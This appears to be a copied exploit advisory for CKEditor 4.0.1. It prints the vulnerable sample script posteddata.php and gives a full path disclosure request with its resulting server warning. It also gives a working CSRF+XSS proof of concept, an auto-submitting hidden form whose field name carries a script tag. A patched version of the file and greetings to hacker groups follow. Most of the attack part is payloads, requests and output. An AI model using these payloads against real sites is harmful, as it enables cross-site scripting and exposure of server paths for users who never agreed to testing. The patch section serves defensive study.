扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 |
=========================================== Vulnerable Software: ckeditor 4.0.1 standard Download: http://download.cksource.com/CKEditor/CKEditor/CKEditor%204.0.1/ckeditor_4.0.1_standard.zip Vulns: Full Path Disclosure && XSS =========================================== Tested On: Debian squeeze 6.0.6 Server version: Apache/2.2.16 (Debian) Apache traffic server 3.2.0 MYSQL: 5.1.66-0+squeeze1 PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug6 2012 20:08:59) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH =========================================== Vulnerable Code: /ckeditor/samples/assets/posteddata.php =============SNIP BEGINS==================== root@debian:/etc/apache2/htdocs/hacker1/admin/ckeditor/samples/assets# cat posteddata.php <!DOCTYPE html> <?php /* Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.html or http://ckeditor.com/license */ ?> <html> <head> <meta charset="utf-8"> <title>Sample — CKEditor</title> <link rel="stylesheet" href="https://www.exploit-db.com/exploits/24530/sample.css"> </head> <body> <h1 class="samples"> CKEditor — Posted Data </h1> <table border="1" cellspacing="0" id="outputSample"> <colgroup><col width="120"></colgroup> <thead> <tr> <th>Field Name</th> <th>Value</th> </tr> </thead> <?php if ( isset( $_POST ) ) $postArray = &$_POST ;// 4.1.0 or later, use $_POST else $postArray = &$HTTP_POST_VARS ; // prior to 4.1.0, use HTTP_POST_VARS foreach ( $postArray as $sForm => $value ) { if ( get_magic_quotes_gpc() ) $postedValue = htmlspecialchars( stripslashes( $value ) ) ; else $postedValue = htmlspecialchars( $value ) ; ?> <tr> <th style="vertical-align: top"><?php echo $sForm?></th> <td><pre class="samples"><?php echo $postedValue?></pre></td> </tr> <?php } ?> </table> <div id="footer"> <hr> <p> CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a> </p> <p id="copy"> Copyright © 2003-2013, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico Knabben. All rights reserved. </p> </div> </body> </html> =============SNIP ENDS HERE==================== FULL Path Disclosure example: URL: http://hacker1.own/admin/ckeditor/samples/sample_posteddata.php METHOD: $_POST HEADERS: Host: hacker1.own User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20100101 Firefox/17.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 $_POST DATA TO SEND: bangbangbang[]=PATH DISCLOSURE Result: Warning: htmlspecialchars() expects parameter 1 to be string, array given in /etc/apache2/htdocs/hacker1/admin/ckeditor/samples/assets/posteddata.php on line 38 Print screen: http://i076.radikal.ru/1302/84/edbe3f8f4524.png ================================================= CSRF+XSS <body onload="javascript:document.forms[0].submit()"> <form name="form1" method="post" action="http://hacker1.own/admin/ckeditor/samples/sample_posteddata.php" enctype="multipart/form-data"> <input type="hidden" name="<script>alert('AkaStep');</script>" id="fupl" value="SENDF"></li> </form> ================================================= Print Screen:http://i062.radikal.ru/1302/e6/25ef023dd589.png ================================================= And here is fixed version:/ckeditor/samples/assets/posteddata.php ================SNIP BEGINS======================= <!DOCTYPE html> <?php /* Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.html or http://ckeditor.com/license */ ?> <html> <head> <meta charset="utf-8"> <title>Sample — CKEditor</title> <link rel="stylesheet" href="https://www.exploit-db.com/exploits/24530/sample.css"> </head> <body> <h1 class="samples"> CKEditor — Posted Data </h1> <table border="1" cellspacing="0" id="outputSample"> <colgroup><col width="120"></colgroup> <thead> <tr> <th>Field Name</th> <th>Value</th> </tr> </thead> <?php if ( isset( $_POST ) ) $postArray = &$_POST ;// 4.1.0 or later, use $_POST else $postArray = &$HTTP_POST_VARS ;// prior to 4.1.0, use HTTP_POST_VARS foreach ( $postArray as $sForm => $value ) { if ( get_magic_quotes_gpc() ) $postedValue = htmlspecialchars( stripslashes((string) $value ) ) ; else $postedValue =htmlspecialchars((string) $value ) ; ?> <tr> <th style="vertical-align: top"><?php echo htmlspecialchars((string)$sForm);?></th> <td><pre class="samples"><?php echo $postedValue?></pre></td> </tr> <?php } ?> </table> <div id="footer"> <hr> <p> CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a> </p> <p id="copy"> Copyright © 2003-2013, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico Knabben. All rights reserved. </p> </div> </body> </html> =============ENJOYYY==================== KUDOSSSSSSS ========================================= packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com itsecuritysolutions.org to all Aa Team + to all Azerbaijan Black HatZ + *Especially to my bro CAMOUFL4G3 * To All Turkish Hackers Also special thanks to: ottoman38 & HERO_AZE =========================================== /AkaStep |
体验盒子
